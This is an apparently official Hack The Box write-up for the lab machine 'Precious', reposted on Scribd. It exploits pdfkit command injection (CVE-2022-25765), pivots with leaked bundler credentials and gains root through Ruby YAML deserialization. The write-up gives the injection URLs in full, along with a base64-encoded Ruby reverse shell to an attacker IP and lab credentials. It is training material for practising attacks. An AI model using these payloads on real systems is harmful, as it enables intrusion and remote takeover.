0% found this document useful (0 votes)
61 views9 pages

Precious

This document summarizes an Easy difficulty Linux machine called Precious. It focuses on vulnerabilities in the Ruby programming language. An initial foothold is gained through a command injection vulnerability in an outdated pdfkit Ruby gem used by a custom web application. Credentials found in a Gem repository config file allow pivoting to the user henry. Privilege escalation is achieved through an insecure deserialization vulnerability in Ruby's YAML library that is exploited by a custom Ruby script executed with sudo privileges.

Uploaded by

mafihokand123
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
61 views9 pages

Precious

This document summarizes an Easy difficulty Linux machine called Precious. It focuses on vulnerabilities in the Ruby programming language. An initial foothold is gained through a command injection vulnerability in an outdated pdfkit Ruby gem used by a custom web application. Credentials found in a Gem repository config file allow pivoting to the user henry. Privilege escalation is achieved through an insecure deserialization vulnerability in Ruby's YAML library that is exploited by a custom Ruby script executed with sudo privileges.

Uploaded by

mafihokand123
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 9

Precious

15th November 2022 / Document No D22.100.213

Prepared By: C4rm3l0

Machine Author: Nauten

Difficulty: Easy

Classification: Official

Synopsis
Precious is an Easy Difficulty Linux machine, that focuses on the Ruby language. It hosts a custom Ruby
web application, using an outdated library, namely pdfkit, which is vulnerable to CVE-2022-25765 , leading
to an initial shell on the target machine. After a pivot using plaintext credentials that are found in a Gem
repository config file, the box concludes with an insecure deserialization attack on a custom, outdated,
Ruby script.

Skills Required
Basic web enumeration

Skills Learned
Command Injection

Analysing and identifying vulnerable Ruby code

Enumeration
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.189 | grep '^[0-9]' | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.189

An initial Nmap scan reveals a standard SSH service, as well as an Nginx web server running on their
default ports, the latter of which appears to be running Phusion Passenger , which is a web server itself,
designed to integrate with other services such as Apache , or in this case Nginx .

HTTP
Navigating to port 80 reveals a web application, which seems to convert web pages into PDF s.
When analysing the request's response headers using our browser's developer console or a proxy such as
BurpSuite , we can see the X-Runtime header being set to Ruby , indicating that Phusion Passenger is in
this case running a Ruby web application.

After being provided with a valid URL, the application fetches it and proceeds to generate a PDF with a
random name like h2a0s6epa7r6phot1krfa646s4gk8gof.pdf . We analyse the document's Exif metadata
using exiftool for any potential clues as to what is happening on the backend.
The Creator tag is set to pdfkit v0.8.6 , indicating that this is the library generating the files. A quick
search for the name and version yields a public repository, and subsequently a related security advisory,
which includes useful references, among them a PoC. The vulnerability arises when the implementation of
the library allows user access to query string parameters, as code can then be injected by using a shell
command substitution string.

Seeing as it is very likely that the URL we provide is passed through that library, we try the payload from the
article:

It would appear that there is some more validation happening behind the scenes, which we have to bypass.
We try a payload with a syntactically valid URL, whose payload points to a webserver we fire up using
Python .
http://test.local/%20`curl http://10.10.14.40/test`

We successfully receive a callback on our HTTP server, verifying that we have RCE on the target machine.

Foothold
Seeing as the web application is powered by Ruby , we will also opt for a Ruby payload, although Bash
works equally well. Using revshells, we can quickly create custom payloads as well as pick an encoding; in
this case, Base64 .

ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.40",4444))'

We start a Netcat listener on port 4444 and submit the payload on the web application.

http://test.local/%20`echo
cnVieSAtcnNvY2tldCAtZSdzcGF3bigic2giLFs6aW4sOm91dCw6ZXJyXT0+VENQU29ja2V0Lm5ldygiMTAuMTA
uMTQuNDAiLDQ0NDQpKSc= | base64 -d | bash`

We successfully receive a shell as ruby .

Lateral Movement
Lateral Movement
We upgrade our shell to a TTY shell using Python .

python3 -c 'import pty;pty.spawn("/bin/bash")'

Enumerating our user's home directory reveals a .bundle directory, which commonly hosts configuration
files used by Gem and other Ruby repositories.

Inside the aforementioned directory, we can find a config file which reveals some plain-text credentials for
the henry user. This configuration file typically stores bundler options, allowing users to save their
credentials for each Gem source. It is never a good idea to re-use passwords, and in this case this leak gives
us SSH access to the henry user.

We can now SSH into the box using the credentials henry:Q3c1AqGHtoI0aXAYFH and grab the user flag at
/home/henry/user.txt .

Privilege Escalation
One of the first steps to take when enumerating a target machine is to check for potential sudo privileges
for a given user. In this case, doing so reveals a sudo entry for a Ruby script.
We check the source code to gain an understanding of the function of this script.

# Compare installed dependencies with those specified in "dependencies.yml"


require "yaml"
require 'rubygems'

# TODO: update versions automatically


def update_gems()
end

def list_from_file
YAML.load(File.read("dependencies.yml"))
end
...

The script reads the contents of dependencies.yml and later checks whether the specified versions equal
those installed globally on the system. Running the script reveals an important bit of information:

As we can also see in the source code, dependencies.yml is referenced relatively, meaning there is no
absolute path specified, which is why when executed, the program looks for the file in the current directory.
Seeing as we have now verified that we can control this part of the code we search for potential
vulnerabilities in the YAML module, which is responsible for loading the file.

Looking at the Ruby docs, we already find a reference to the security implications of loading untrusted data
via YAML :

This module provides a Ruby interface for data serialization in YAML format.
Security:
Do not use YAML to load untrusted data. Doing so is unsafe and could allow malicious input to
execute arbitrary code inside your application. Please see doc/security.rdoc for more information.

A search for Ruby deserialisation yields a popular repository, hosting an array of payloads useful for our
practices; they are all bound to versions between 2.0 and 3.0 , so we first check what version the target
machine is running.

It would appear that this version is vulnerable to the latter payload on the aforementioned repository, so we
paste it into a dependencies.yml file in the /tmp directory.

Running the script verfies this theory, as the id command is executed successfully.
We can now inject the same Ruby payload we used to get a reverse shell initially to get a root shell, by
changing the git_set tag in the dependencies.yml file from id to our payload.

git_set: echo
cnVieSAtcnNvY2tldCAtZSdzcGF3bigic2giLFs6aW4sOm91dCw6ZXJyXT0+VENQU29ja2V0Lm5ldygiMTAuMTA
uMTQuNDAiLDQ0NDQpKSc= | base64 -d | bash

We set up a listener on port 4444 once more, and run the script again.

We get a callback and have successfully rooted the box. The final flag can be found at /root/root.txt .

You might also like